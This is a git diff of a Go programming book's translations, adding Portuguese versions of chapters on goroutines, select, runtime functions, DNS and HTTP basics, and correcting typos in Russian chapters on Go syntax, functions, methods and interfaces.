sure the channel is completely useless, or you want to exit range loops. +Outra coisa que você precisa lembrar é que os canais não são como arquivos. Você não precisa fechá-los com frequência, a menos que tenha certeza de que o canal é completamente inútil ou deseja sair de loops de intervalo. ## Select -In the above examples, we only use one channel, but how can we deal with more than one channel? Go has a keyword called `select` to listen to many channels. +Nos exemplos acima, usamos apenas um canal, mas como podemos lidar com mais de um canal? Go tem uma palavra-chave chamada `select` para ouvir muitos canais. -`select` is blocking by default and it continues to execute only when one of channels has data to send or receive. If several channels are ready to use at the same time, select chooses which to execute randomly. +`select` está bloqueando por padrão e continua a executar somente quando um dos canais tem dados para enviar ou receber. Se vários canais estiverem prontos para usar ao mesmo tempo, selecione a opção para executar aleatoriamente. package main @@ -180,18 +180,18 @@ In the above examples, we only use one channel, but how can we deal with more th fibonacci(c, quit) } -`select` has a `default` case as well, just like `switch`. When all the channels are not ready for use, it executes the default case (it doesn't wait for the channel anymore). +`select` tem um caso` default`, assim como `switch`. Quando todos os canais não estão prontos para uso, ele executa o caso padrão (ele não aguarda mais o canal). select { case i := <-c: // use i default: - // executes here when c is blocked + // Executa aqui quando C estiver bloqueado } ## Timeout -Sometimes a goroutine becomes blocked. How can we avoid this to prevent the whole program from blocking? It's simple, we can set a timeout in the select. +Às vezes uma goroutine fica bloqueada. Como podemos evitar isso para evitar que todo o programa bloqueie? É simples, podemos definir um tempo limite no select. func main() { c := make(chan int) @@ -213,30 +213,30 @@ Sometimes a goroutine becomes blocked. How can we avoid this to prevent the whol ## Runtime goroutine -The package `runtime` has some functions for dealing with goroutines. +O pacote `runtime` tem algumas funções para lidar com goroutines. -- `runtime.Goexit()` +- `runtime.Goexit ()` - Exits the current goroutine, but defered functions will be executed as usual. - -- `runtime.Gosched()` +Sai da gorout atual, mas as funções adiadas serão executadas como de costume. - Lets the scheduler execute other goroutines and comes back at some point. - -- `runtime.NumCPU() int` +- `runtime.Gosched ()` + +Permite que o planejador execute outras goroutines e volte em algum momento. + +- `runtime.NumCPU () int` - Returns the number of CPU cores +Retorna o número de núcleos da CPU -- `runtime.NumGoroutine() int` +- `runtime.NumGoroutine () int` - Returns the number of goroutines +Retorna o número de goroutines -- `runtime.GOMAXPROCS(n int) int` +- `runtime.GOMAXPROCS (n int) int` - Sets how many CPU cores you want to use +Define quantos núcleos de CPU você deseja usar ## Links -- [Directory](preface.md) -- Previous section: [interface](02.6.md) -- Next section: [Summary](02.8.md) +- [Prefácio](preface.md) +- Seção anterior: [interfaces](02.6.md) +- Próxima seção: [Summary](02.8.md) diff --git a/pt-br/03.0.md b/pt-br/03.0.md index 11ee047ca..a242957af 100644 --- a/pt-br/03.0.md +++ b/pt-br/03.0.md @@ -1,9 +1,9 @@ -#3 Web foundation +# 3 Fundamentos da web -The reason you are reading this book is that you want to learn to build web applications in Go. As I've said before, Go provides many powerful packages like `http`. These packages can help you a lot when trying to build web applications. I'll teach you everything you need to know in the following chapters, and we'll talk about some concepts of the web and how to run web applications in Go in this chapter. +O motivo pelo qual você está lendo esse livro é que você deseja aprender a construir aplicações web em Go. Como eu disse, Go fornece muitos pacotes poderosos como o `http`. Esses pacotes podem ajudá-lo bastante quando estiver tentando construir aplicações web. Eu vou lhe ensinar tudo que você precisa saber nos próximos capítulos, e nós iremos conversar sobre alguns conceitos da web e sobre como executar aplicações web em Go nesse capítulo. ## Links -- [Directory](preface.md) -- Previous chapter: [Chapter 2 Summary](02.8.md) -- Next section: [Web working principles](03.1.md) +- [Sumário](preface.md) +- Seção anterior: [Resumo do Capítulo 1](02.8.md) +- Próxima seção: [Princípios do funcionamento da web](03.1.md) diff --git a/pt-br/03.1.md b/pt-br/03.1.md index ca91cd869..fc2ea5453 100644 --- a/pt-br/03.1.md +++ b/pt-br/03.1.md @@ -1,77 +1,77 @@ -# Web working principles +# Principios da Web -Every time you open your browsers, type some URLs and press enter, you will see beautiful web pages appear on your screen. But do you know what is happening behind these simple actions? +Toda vez que você abrir seus navegadores, digite alguns URLs e pressione enter, você verá lindas páginas da web aparecerem na tela. Mas você sabe o que está acontecendo por trás dessas ações simples? -Normally, your browser is a client. After you type a URL, it takes the host part of the URL and sends it to a DNS server in order to get the IP address of the host. Then it connects to the IP address and asks to setup a TCP connection. The browser sends HTTP requests through the connection. The server handles them and replies with HTTP responses containing the content that make up the web page. Finally, the browser renders the body of the web page and disconnects from the server. +Normalmente, seu navegador é um cliente. Depois de digitar um URL, ele pega a parte do host do URL e a envia para um servidor DNS para obter o endereço IP do host. Em seguida, ele se conecta ao endereço IP e solicita a configuração de uma conexão TCP. O navegador envia solicitações HTTP por meio da conexão. O servidor lida com eles e responde com respostas HTTP contendo o conteúdo que compõe a página da web. Por fim, o navegador renderiza o corpo da página da Web e se desconecta do servidor. ![](images/3.1.web2.png?raw=true) -Figure 3.1 Processes of users visit a website +Imagem: 3.1 Processo dos usuários visitando um site -A web server, also known as an HTTP server, uses the HTTP protocol to communicate with clients. All web browsers can be considered clients. +Um servidor da Web, também conhecido como servidor HTTP, usa o protocolo HTTP para se comunicar com os clientes. Todos os navegadores da web podem ser considerados clientes. -We can divide the web's working principles into the following steps: +Podemos dividir os princípios de trabalho da Web nas seguintes etapas: -- Client uses TCP/IP protocol to connect to server. -- Client sends HTTP request packages to server. -- Server returns HTTP response packages to client. If the requested resources include dynamic scripts, server calls script engine first. -- Client disconnects from server, starts rendering HTML. +- Cliente usa o protocolo TCP / IP para se conectar ao servidor. +- Cliente envia pacotes de solicitações HTTP para o servidor. +- O servidor retorna pacotes de resposta HTTP ao cliente. Se os recursos solicitados incluírem scripts dinâmicos, o mecanismo de script de chamadas do servidor será o primeiro. +- Cliente se desconecta do servidor, começa a renderizar HTML. -This is a simple work flow of HTTP affairs -notice that the server closes its connections after it sends data to the clients, then waits for the next request. +Este é um fluxo de trabalho simples de assuntos HTTP - observe que o servidor fecha suas conexões depois de enviar dados para os clientes e aguarda a próxima solicitação. -## URL and DNS resolution +## Resolvendo URL e DNS -We always use URLs to access web pages, but do you know how URLs work? +Nós sempre usamos URLs para acessar páginas da web, mas você sabe como funcionam os URLs? -The full name of a URL is Uniform Resource Locator. It's for describing resources on the internet and its basic form is as follows. +O nome completo de uma URL é Uniform Resource Locator. É para descrever recursos na internet e sua forma básica é a seguinte. scheme://host[:port#]/path/.../[?query-string][#anchor] - scheme assign underlying protocol (such as HTTP, HTTPS, FTP) - host IP or domain name of HTTP server - port# default port is 80, and it can be omitted in this case. If you want to use other ports, you must specify which port. For example, http://www.cnblogs.com:8080/ - path resources path - query-string data are sent to server - anchor anchor + scheme Define o protocolo a ser utilizado (Ex: HTTP, HTTPS, FTP) + host IP ou nome do domínino do servidor HTTP + port# a porta padrão é 80 e pode ser omitida nesse caso. Se você quiser usar outras portas, você deve especificar qual porta. Por exemplo, http://www.cnblogs.com:8080/ + path Caminho + query-string Dados enviados através da URI + anchor Âncora -DNS is an abbreviation of Domain Name System. It's the naming system for computer network services, and it converts domain names to actual IP addresses, just like a translator. +DNS é uma abreviação de Domain Name System. É o sistema de nomes para serviços de rede de computadores e converte nomes de domínio em endereços IP reais, exatamente como um tradutor. ![](images/3.1.dns_hierachy.png?raw=true) -Figure 3.2 DNS working principles +Imagem 3.2 Principios do DNS -To understand more about its working principle, let's see the detailed DNS resolution process as follows. +Para entender mais sobre seu princípio de funcionamento, vamos ver o processo detalhado de resolução de DNS como segue. -1. After typing the domain name `www.qq.com` in the browser, the operating system will check if there are any mapping relationships in the hosts' files for this domain name. If so, then the domain name resolution is complete. -2. If no mapping relationships exist in the hosts' files, the operating system will check if any cache exists in the DNS. If so, then the domain name resolution is complete. -3. If no mapping relationships exist in both the host and DNS cache, the operating system finds the first DNS resolution server in your TCP/IP settings, which is likely your local DNS server. When the local DNS server receives the query, if the domain name that you want to query is contained within the local configuration of its regional resources, it returns the results to the client. This DNS resolution is authoritative. -4. If the local DNS server doesn't contain the domain name but a mapping relationship exists in the cache, the local DNS server gives back this result to the client. This DNS resolution is not authoritative. -5. If the local DNS server cannot resolve this domain name either by configuration of regional resources or cache, it will proceed to the next step, which depends on the local DNS server's settings. --If the local DNS server doesn't enable forwarding, it routes the request to the root DNS server, then returns the IP address of a top level DNS server which may know the domain name, `.com` in this case. If the first top level DNS server doesn't recognize the domain name, it again reroutes the request to the next top level DNS server until it reaches one that recognizes the domain name. Then the top level DNS server asks this next level DNS server for the IP address corresponding to `www.qq.com`. --If the local DNS server has forwarding enabled, it sends the request to an upper level DNS server. If the upper level DNS server also doesn't recognize the domain name, then the request keeps getting rerouted to higher levels until it finally reaches a DNS server which recognizes the domain name. +1. Depois de digitar o nome de domínio `www.qq.com` no navegador, o sistema operacional verificará se há algum relacionamento de mapeamento nos arquivos dos hosts para este nome de domínio. Em caso afirmativo, a resolução do nome de domínio será concluída. +2. Se não existirem relacionamentos de mapeamento nos arquivos dos hosts, o sistema operacional verificará se existe algum cache no DNS. Em caso afirmativo, a resolução do nome de domínio será concluída. +3. Se não existirem relações de mapeamento no host e no cache DNS, o sistema operacional localizará o primeiro servidor de resolução de DNS nas configurações de TCP / IP, o que provavelmente é o servidor DNS local. Quando o servidor DNS local recebe a consulta, se o nome de domínio que você deseja consultar estiver contido na configuração local de seus recursos regionais, ele retornará os resultados para o cliente. Essa resolução de DNS é autoritativa. +4. Se o servidor DNS local não contiver o nome de domínio, mas existir um relacionamento de mapeamento no cache, o servidor DNS local devolverá esse resultado ao cliente. Essa resolução de DNS não é autoritativa. +5. Se o servidor DNS local não puder resolver esse nome de domínio por meio da configuração de recursos regionais ou do cache, ele prosseguirá para a próxima etapa, que depende das configurações do servidor DNS local. +- Se o servidor DNS local não habilitar o encaminhamento, ele encaminhará a solicitação para o servidor DNS raiz e, em seguida, retornará o endereço IP de um servidor DNS de nível superior que pode saber o nome do domínio, `.com` neste caso. Se o primeiro servidor DNS de nível superior não reconhecer o nome de domínio, ele redireciona novamente a solicitação para o próximo servidor DNS de nível superior até que ele atinja um que reconheça o nome do domínio. Em seguida, o servidor DNS de nível superior solicita a este servidor DNS de nível seguinte o endereço IP correspondente a `www.qq.com`. +-Se o servidor DNS local tiver o encaminhamento ativado, ele enviará a solicitação para um servidor DNS de nível superior. Se o servidor DNS de nível superior também não reconhecer o nome de domínio, a solicitação continuará sendo reencaminhada para níveis mais altos até que finalmente chegue a um servidor DNS que reconheça o nome do domínio. -Whether or not the local DNS server enables forwarding, the IP address of the domain name always returns to the local DNS server, and the local DNS server sends it back to the client. +Independentemente de o servidor DNS local permitir ou não o encaminhamento, o endereço IP do nome de domínio sempre retornará ao servidor DNS local e o servidor DNS local o enviará de volta ao cliente. ![](images/3.1.dns_inquery.png?raw=true) -Figure 3.3 DNS resolution work flow +Imagem 3.3 Caminhos do fluxo DNS -`Recursive query process` simply means that the enquirers change in the process. Enquirers do not change in `Iterative query` processes. +`Processo de consulta recursiva` significa simplesmente que os inquiridores mudam no processo. Os inquiridores não mudam nos processos de consulta iterativa. -Now we know clients get IP addresses in the end, so the browsers are communicating with servers through IP addresses. +Agora sabemos que os clientes obtêm endereços IP no final, portanto, os navegadores estão se comunicando com servidores por meio de endereços IP. -## HTTP protocol +## Protocolo HTTP -The HTTP protocol is a core part of web services. It's important to know what the HTTP protocol is before you understand how the web works. +O protocolo HTTP é uma parte essencial dos serviços da web. É importante saber o que é o protocolo HTTP antes de entender como a Web funciona. -HTTP is the protocol that is used to facilitate communication between browsers and web servers. It is based on the TCP protocol and usually uses port 80 on the side of the web server. It is a protocol that utilizes the request-response model -clients send requests and servers respond. According to the HTTP protocol, clients always setup new connections and send HTTP requests to servers. Servers are not able to connect to clients proactively, or establish callback connections. The connection between a client and a server can be closed by either side. For example, you can cancel your download request and HTTP connection and your browser will disconnect from the server before you finish downloading. +HTTP é o protocolo usado para facilitar a comunicação entre navegadores e servidores da web. Ele é baseado no protocolo TCP e geralmente usa a porta 80 no lado do servidor da web. É um protocolo que utiliza o modelo de solicitação-resposta - os clientes enviam solicitações e os servidores respondem. De acordo com o protocolo HTTP, os clientes sempre configuram novas conexões e enviam solicitações HTTP para os servidores. Os servidores não podem se conectar aos clientes de maneira proativa ou estabelecer conexões de retorno de chamada. A conexão entre um cliente e um servidor pode ser fechada por qualquer um dos lados. Por exemplo, você pode cancelar sua solicitação de download e a conexão HTTP e seu navegador desconectará do servidor antes de concluir o download. -The HTTP protocol is stateless, which means the server has no idea about the relationship between the two connections even though they are both from same client. To solve this problem, web applications use cookies to maintain the state of connections. +O protocolo HTTP é sem estado, o que significa que o servidor não tem idéia sobre o relacionamento entre as duas conexões, embora sejam do mesmo cliente. Para resolver esse problema, os aplicativos da Web usam cookies para manter o estado das conexões. -Because the HTTP protocol is based on the TCP protocol, all TCP attacks will affect HTTP communications in your server. Examples of such attacks are SYN flooding, DoS and DDoS attacks. +Como o protocolo HTTP é baseado no protocolo TCP, todos os ataques TCP afetarão as comunicações HTTP em seu servidor. Exemplos de tais ataques são inundações SYN, ataques DoS e DDoS. -### HTTP request package (browser information) +### Pacote de request HTTP (informação do browser) -Request packages all have three parts: request line, request header, and body. There is one blank line between header and body. +Todos os pacotes de solicitação têm três partes: linha de solicitação, cabeçalho de solicitação e corpo. Há uma linha em branco entre o cabeçalho e o corpo. GET /domains/example/ HTTP/1.1 // request line: request method, URL, protocol and its version Host:www.iana.org // domain name @@ -82,23 +82,25 @@ Request packages all have three parts: request line, request header, and body. T // blank line // body, request resource arguments (for example, arguments in POST) -We use fiddler to get the following request information. +Usamos fiddler para obter as seguintes informações de solicitação. ![](images/3.1.http.png?raw=true) -Figure 3.4 Information of a GET request caught by fiddler +Imagem 3.4 Informação de um GET request mostrado pelo fiddler ![](images/3.1.httpPOST.png?raw=true) -Figure 3.5 Information of a POST request caught by fiddler +Imagem 3.5 Informação de um POST request mostrado pelo fiddler **We can see that GET does not have a request body, unlike POST, which does.** -There are many methods you can use to communicate with servers in HTTP; GET, POST, PUT and DELETE are the 4 basic methods that we typically use. A URL represents a resource on a network, so these 4 methods define the query, change, add and delete operations that can act on these resources. GET and POST are very commonly used in HTTP. GET can append query parameters to the URL, using `?` to separate the URL and parameters and `&` between the arguments, like `EditPosts.aspx?name=test1&id=123456`. POST puts data in the request body because the URL implements a length limitation via the browser. Thus, POST can submit much more data than GET. Also, when we submit user names and passwords, we don't want this kind of information to appear in the URL, so we use POST to keep them invisible. +** Podemos ver que o GET não tem um corpo de solicitação, ao contrário do POST, que faz. ** -### HTTP response package (server information) +Existem muitos métodos que você pode usar para se comunicar com servidores em HTTP; GET, POST, PUT e DELETE são os 4 métodos básicos que normalmente usamos. Uma URL representa um recurso em uma rede, portanto, esses quatro métodos definem a consulta, alteram, adicionam e excluem operações que podem atuar nesses recursos. GET e POST são muito usados em HTTP. GET pode anexar parâmetros de consulta à URL, usando `?` Para separar a URL e os parâmetros e `&` entre os argumentos, como `EditPosts.aspx?name=test1&id=123456`. O POST coloca dados no corpo da solicitação porque o URL implementa uma limitação de tamanho por meio do navegador. Assim, o POST pode enviar muito mais dados do que o GET. Além disso, quando enviamos nomes de usuário e senhas, não queremos que esse tipo de informação apareça no URL. Por isso, usamos o POST para mantê-los invisíveis. -Let's see what information is contained in the response packages. +### HTTP response package (informação do servidor) + +Vamos ver quais informações estão contidas nos pacotes de resposta. HTTP/1.1 200 OK // status line Server: nginx/1.0.8 // web server software and its version in the server machine @@ -110,44 +112,44 @@ Let's see what information is contained in the response packages. // blank line ` (В данном случае `package main`) говорит нам о том, что этот исходный файл принадлежит к `main` пакету. А ключевое слово `main`, что данный пакет должен компилироваться в программу, а не в пакет файлов с расширением `.a`. @@ -31,11 +31,11 @@ Чтобы вывести `Hello, world…`, мы вызвали функцию `Printf`. Эта функция находится в пакете `fmt`, поэтому нам надо импортировать этот пакет, что мы и делаем в третьей строчке кода - `import "fmt"`. Пакеты в Go похожи на аналогичные в Python, вот несколько преимуществ пакетов: -Модульность (разбить программу на несколько модулей) и повторное использование (каждый модуль может быть использован во множестве программ). Сейчас мы просто рассмотрели общее представление пакетов, и чуть позже напишем свой собственный пакет. +Модульность (разбиение программы на несколько модулей) и повторное использование (каждый модуль может быть использован во множестве программ). Сейчас мы просто рассмотрели общее представление пакетов, и чуть позже напишем свой собственный пакет. В пятой строке мы использовали ключевое слово `func` для определения функции `main`. Тело функции находится внутри `{}`, прямо как в C, C++ и Java. -Как вы видите она не принимает ни один аргумент. Мы научимся писать функции, принимающие аргументы всего через минуту, а также функции которые не возвращают значение или возращают несколько. +Как вы видите, она не принимает ни один аргумент. Мы научимся писать функции, принимающие аргументы всего через минуту, а также функции которые не возвращают значение или возращают несколько. В шестой строке мы вызываем функцию `Printf`, которая находится в пакете `fmt`. Она была вызвана, используя синтаксис `.` (`<имя пакета>.<имя функции>`), в Python-стиле. @@ -45,7 +45,7 @@ ## Заключение -Go использует `package` (пакет) для структурирования программ. Функция `main.main()` (эта функция находится в пакете `main`) входной пункт каждой программы. Go поддерживает стандарт UTF-8, так как один из создателей Go является также одним из создателей UTF-8, так что Go поддерживает множество языков с самого рождения. +Go использует `package` (пакет) для структурирования программ. Функция `main.main()` (эта функция находится в пакете `main`) - входной пункт каждой программы. Go поддерживает стандарт UTF-8, так как один из создателей Go является также одним из создателей UTF-8, так что Go поддерживает множество языков с самого рождения. ## Ссылки diff --git a/ru/02.2.md b/ru/02.2.md index 9c5d1a4f8..5f085961c 100644 --- a/ru/02.2.md +++ b/ru/02.2.md @@ -51,7 +51,7 @@ _, b := 34, 35 -Если Вы определили переменную и не использовали ее нигде в своей программе, компилятор покажет Вам ошибку компиляции. Попробуйте откомпилировать следующий код и посмотрите, что будет: +Если Вы определили переменную и не использовали ее нигде в своей программе, компилятор покажет Вам ошибку компиляции. Попробуйте скомпилировать следующий код и посмотрите, что будет: package main @@ -105,7 +105,7 @@ Хотя int32 длиннее int8 и является тем же типом, что и int, нельзя использовать их в одним выражении. ( ***'c' здесь будет определена как переменная типа `int`*** ) -К типам с плавающей точкой относятся `float32` и `float64`; типа, называемого `float` в Go нет. `float64` используется по умолчанию при коротком объявлении. +К типам с плавающей точкой относятся `float32` и `float64`; типа, называемого `float`, в Go нет. `float64` используется по умолчанию при коротком объявлении. Это все? Нет! Go также поддерживает и комплексные числа. `complex128` (с 64-битной вещественной и 64-битной мнимыми частями) является комплексным числом по умолчанию, а если Вам нужны числа поменьше, есть `complex64` (с 32-битной вещественной и 32-битной нмимыми частями). Числа представлены в форме `RE+IMi`, где `RE` - вещественная часть, а `IM` - мнимая, последнее `i` - мнимая единица. Вот пример комплексного числа: @@ -115,7 +115,7 @@ ### Строки -Мы уже говорили о том, как Go использует кодировку UTF-8. Строки представлены двойными кавычками `""` или обратными кавычками ``` `` ```. +Мы уже говорили о том, что Go использует кодировку UTF-8. Строки представлены двойными кавычками `""` или обратными кавычками ``` `` ```. // Пример кода var frenchHello string // основная форма определения строки @@ -398,10 +398,10 @@ // Задаем карте начальное значение rating := map[string]float32 {"C":5, "Go":4.5, "Python":4.5, "C++":2 } - // карта возвращает два значения. В качестве второго, если элемента с таким ключом не существует, 'ok' возвращает 'false', иначе - 'true'. + // карта возвращает два значения. В качестве второго, если элемента с таким ключом не существует, 'ok' принимает значение 'false', иначе - 'true'. csharpRating, ok := rating["C#"] if ok { - fmt.Println("C# назодится в карте, его рейтинг - ", csharpRating) + fmt.Println("C# находится в карте, его рейтинг - ", csharpRating) } else { fmt.Println("Не можем найти рейтинг C# в карте") } diff --git a/ru/02.3.md b/ru/02.3.md index e0451765d..a87bfe0de 100644 --- a/ru/02.3.md +++ b/ru/02.3.md @@ -42,7 +42,7 @@ if integer == 3 { ``` ### goto -В Go есть ключевое слово `goto`, но, исопльзуя его, будьте осторожными. `goto` перенаправляет управление потоком команд к заранее определенной `метке` внутри блока кода, в котором оно находится. +В Go есть ключевое слово `goto`, но, используя его, будьте осторожными. `goto` перенаправляет управление потоком команд к заранее определенной `метке` внутри блока кода, в котором оно находится. ```Go func myFunc() { i := 0 @@ -147,7 +147,7 @@ default: fmt.Println("Все, что я знаю - это то, что i - целое число") } ``` -В пятой строке мы поместили несколько значений в один `case`; нам также не надо писать ключевое слово `break` в конце тела `case`. При выполнении какого-либо условия цикл прекратитсяавтоматически. Если Вы хотите продолжать проверку, нужно использовать выражение `fallthrough`. +В пятой строке мы поместили несколько значений в один `case`; нам также не надо писать ключевое слово `break` в конце тела `case`. При выполнении какого-либо условия цикл прекратится автоматически. Если Вы хотите продолжать проверку, нужно использовать выражение `fallthrough`. ```Go integer := 6 switch integer { @@ -189,7 +189,7 @@ func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) { ``` Мы можем сделать вывод из примера выше: -- Нужно использовать ключевое слово `func` длы того, чтобы определить функцию `funcName`. +- Нужно использовать ключевое слово `func` для того, чтобы определить функцию `funcName`. - Функции могут не возвращать аргументов или возвращать один или несколько. Тип аргумента следует после его имени, аргументы разделяются запятой `,`. - Функции могут возвращать множество значений. - В примере есть два значение `output1` и `output2`, Вы можете опустить их имена и использовать только типы. @@ -249,7 +249,7 @@ func main() { fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) } ``` -В вышеприведенном примере два значения возвращаются без имен; также можно и дать им имена. Если мы именуем переменные, которые будут возвращаться, нам нужно лишь написать `return`, чтобы возвратить значения, так как то, что надо возвращать, уже определено в функции автоматически. Имейте в виду, что если Вы собираетесь использовать функцию вне пакета (что означает, что Вы должны именовать эту фунцкию с заглавной буквы), лучше указывавйте полную форму `return`; это сделает Ваш код более читаемым. +В вышеприведенном примере два значения возвращаются без имен; также можно и дать им имена. Если мы именуем переменные, которые будут возвращаться, нам нужно лишь написать `return`, чтобы возвратить значения, так как то, что надо возвращать, уже определено в функции автоматически. Имейте в виду, что если Вы собираетесь использовать функцию вне пакета (что означает, что Вы должны именовать эту функцию с заглавной буквы), лучше указывайте полную форму `return`; это сделает Ваш код более читаемым. ```Go func SumAndProduct(A, B int) (add int, Multiplied int) { add = A+B @@ -297,11 +297,11 @@ func main() { ``` Видите? Несмотря на то, что мы вызвали функцию `add1` с `x`, изначальное значение `x` не изменилось. -Причина очерь проста: когда мы вызвали `add1`, мы передали в нее копию `x`, а не сам `x`. +Причина очень проста: когда мы вызвали `add1`, мы передали в нее копию `x`, а не сам `x`. Теперь Вы можете спросить, как передать в функцию сам `x`? -В этом случе нам нужно использовать указатели. Мы знаем, что переменные хранятся в памяти и у них есть адреса. Итак, если мы хотим изменить значение переменной, мы меняем значение, находящееся в памяти по соответствующему ей адресу. Поэтому, для того, чтобы изменить значение `x`, `add1` должна знать адрес `x` в памяти. Здесь мы передаем `&x` в функцию и меняем тип аргумента на тип указателя `*int`. Мы передаем в функцию копию указателя, не копию значения. +В этом случае нам нужно использовать указатели. Мы знаем, что переменные хранятся в памяти и у них есть адреса. Итак, если мы хотим изменить значение переменной, мы меняем значение, находящееся в памяти по соответствующему ей адресу. Поэтому, для того, чтобы изменить значение `x`, `add1` должна знать адрес `x` в памяти. Здесь мы передаем `&x` в функцию и меняем тип аргумента на тип указателя `*int`. Мы передаем в функцию копию указателя, не копию значения. ```Go package main import "fmt" @@ -327,7 +327,7 @@ func main() { - Это позволяет многим функциям работать с одной переменной. - Низкая стоимость выполнения благодаря тому, что передаются лишь адреса памяти (8 байт); копирование самих переменных не является эффективным как с точки зрения времени, так и объема памяти. -- `string`, `slice`, `map` - это ссылочные типы, поэтому они передаются в функцию как указатели по умолчанию. (Внимание: Если Вам нужно изменить длину `среза(slice)`, нужно явно передать срез как указатель) +- `channel`, `slice`, `map` - это ссылочные типы, поэтому они передаются в функцию как указатели по умолчанию. (Внимание: Если Вам нужно изменить длину `среза(slice)`, нужно явно передать срез как указатель) ### defer @@ -424,7 +424,7 @@ func main(){ В Go, в отличии от Java, нет структуры `try-catch`. Вместо того, чтобы "кидать" исключения, для работы с ошибками Go использует `panic` и `recover`. Однако, не стоит использовать `panic` слишком много, несмотря на его мощность. -Panic - это встроенная функция, которая прерыавает ход программы и включает статус "паники". Когда функция `F` вызывает `panic`, `F` не продолжит после этого свое исполнение, но функции `defer` выполняться. Затем `F` возвращается к той точке своего выполнения, где была вызвана panic. Пока все функции не вернут panic функциям уровнем выше, которые их вызвали, программа не прервет своего выполнения. `panic` может произойти в результате вызова `panic` в программе, также некоторыен ошибки вызывают `panic` как, например, при попытке доступа к массиву за его пределами. +Panic - это встроенная функция, которая прерывает ход программы и включает статус "паники". Когда функция `F` вызывает `panic`, `F` не продолжит после этого свое исполнение, но функции `defer` выполняться. Затем `F` возвращается к той точке своего выполнения, где была вызвана panic. Пока все функции не вернут panic функциям уровнем выше, которые их вызвали, программа не прервет своего выполнения. `panic` может произойти в результате вызова `panic` в программе, также некоторые ошибки вызывают `panic` как, например, при попытке доступа к массиву за его пределами. Recover - это встроенная функция для восстановления `горутин` из состояния panic. Нормально будет вызывать `recover` в функциях `defer`, так как обычные функции не буду выполняться, если программа находится в состоянии panic. Эта функция получает значение `panic`, если программа находится в состоянии panic, и `nil`, если не находится. @@ -472,9 +472,9 @@ import( ``` Вот так используются функции из импортированного пакета: ```Go - fmt.Println("hello world") +fmt.Println("hello world") ``` -`fmt` находится в стандртной библиотеке Go, он располагается в $GOROOT/pkg. Go поддерживает сторонние пакеты двумя способами: +`fmt` находится в стандартной библиотеке Go, он располагается в $GOROOT/pkg. Go поддерживает сторонние пакеты двумя способами: 1. Относительный путь import "./model" // импортирует пакет из той же директории, где находится программа, я не рекомендую этот способ. @@ -504,7 +504,7 @@ import( _ "github.com/ziutek/mymysql/godrv" ) - Оператор `_` означает, что мы просто хотим импортировать пакет и выполнить его функцию `init`, но не уверены, будем ли мы использовать фунцкии, которые он содержит. + Оператор `_` означает, что мы просто хотим импортировать пакет и выполнить его функцию `init`, но не уверены, будем ли мы использовать функции, которые он содержит. ## Ссылки diff --git a/ru/02.4.md b/ru/02.4.md index 5a94f1f00..97709031e 100644 --- a/ru/02.4.md +++ b/ru/02.4.md @@ -9,7 +9,7 @@ type person struct { age int } ``` -Вот так как легко определять `структуру`! +Вот так легко определять `структуру`! У нас есть два поля: diff --git a/ru/02.5.md b/ru/02.5.md index 2471fd536..fdedfe355 100644 --- a/ru/02.5.md +++ b/ru/02.5.md @@ -26,7 +26,7 @@ Этот код вычисляет площадь прямоугольника. Мы используем для этого функцию `area`, но это не метод структуры "rectangle" (как методы классов в классических объектно-ориентированных языках). Как Вы можете заметить, функция и структура здесь - две независимые друг от друга сущности. -Пока что это не является проблемой. Однако, если Вам нужно будет посчитать также площади круга, квадрата, пятиугольника или другой геометрической фигуры, Вам придется добавлять новые фукнции с похожими именами. +Пока что это не является проблемой. Однако, если Вам нужно будет посчитать также площади круга, квадрата, пятиугольника или другой геометрической фигуры, Вам придется добавлять новые функции с похожими именами. ![](images/2.5.rect_func_without_receiver.png?raw=true) @@ -94,7 +94,7 @@ В указанном выше примере методы area() есть у структуры Rectangle и у Circle соответственно, поэтому ресиверами этих методов являются Rectangle и Circle. -Стоит отметить, что метод с многоточием означает, что ресивер передается по значению, а не по ссылке. Различие в том, что когда ресивер передается по ссылке, метод может менять его значение, а когда ресивер передается по значению, метод работает с его копией. +Стоит отметить, что метод с пунктиром означает, что ресивер передается по значению, а не по ссылке. Различие в том, что когда ресивер передается по ссылке, метод может менять его значение, а когда ресивер передается по значению, метод работает с его копией. Можем ли ресивер быть только лишь структурой? Конечно, нет. Ресивером может быть любой тип данных. Если у Вас возникла неясность в связи с типами, создаваемыми пользователями - структура является одним из них, но их может быть и больше. @@ -214,7 +214,7 @@ ### Использование указателя в качестве ресивера -Давайте посмотрим на метод `SetColor`. Его ресивером является указатель на Box. Да, можно использовать `*Box` в качесве ресивера. Почему мы использовали здесь указатель? Потому что в этом методе мы хотим изменить цвет коробки (Box). Если бы мы не использовали указатель, метод бы изменил цвет лишь у копии Box. +Давайте посмотрим на метод `SetColor`. Его ресивером является указатель на Box. Да, можно использовать `*Box` в качестве ресивера. Почему мы использовали здесь указатель? Потому что в этом методе мы хотим изменить цвет коробки (Box). Если бы мы не использовали указатель, метод бы изменил цвет лишь у копии Box. Если мы видим, что ресивер - первый аргумент метода, несложно понять, как это работает. @@ -247,7 +247,7 @@ // определяем метод в Human func (h *Human) SayHi() { - fmt.Printf("Привет, меня зовут %s, моете позвонить мне по телефону %s\n", h.name, h.phone) + fmt.Printf("Привет, меня зовут %s, можете позвонить мне по телефону %s\n", h.name, h.phone) } func main() { diff --git a/ru/02.6.md b/ru/02.6.md index cfc6ea006..ea20d4ca7 100644 --- a/ru/02.6.md +++ b/ru/02.6.md @@ -19,70 +19,70 @@ ### Тип "Interface" Интерфейс определяет набор методов, поэтому, если тип реализует эти методы, говорится, что он реализует интерфейс. - - type Human struct { - name string - age int - phone string - } - - type Student struct { - Human - school string - loan float32 - } - - type Employee struct { - Human - company string - money float32 - } - - func (h *Human) SayHi() { - fmt.Printf("Привет, я - %s, мой номер телефона - %s\n", h.name, h.phone) - } - - func (h *Human) Sing(lyrics string) { - fmt.Println("Ля ля, ля ля ля, ля ля ля ля ля...", lyrics) - } - - func (h *Human) Guzzle(beerStein string) { - fmt.Println("Guzzle Guzzle Guzzle...", beerStein) - } - - // Employee перегружает метод SayHi - func (e *Employee) SayHi() { - fmt.Printf("Привет, я - %s, я работаю в %s. Звоните мне по номеру %s\n", e.name, - e.company, e.phone) //Да, можно разбить строку на 2 строки. - } - - func (s *Student) BorrowMoney(amount float32) { - s.loan += amount // (снова и снова...) - } - - func (e *Employee) SpendSalary(amount float32) { - e.money -= amount - } - - // определяем интерфейс - type Men interface { - SayHi() - Sing(lyrics string) - Guzzle(beerStein string) - } - - type YoungChap interface { - SayHi() - Sing(song string) - BorrowMoney(amount float32) - } - - type ElderlyGent interface { - SayHi() - Sing(song 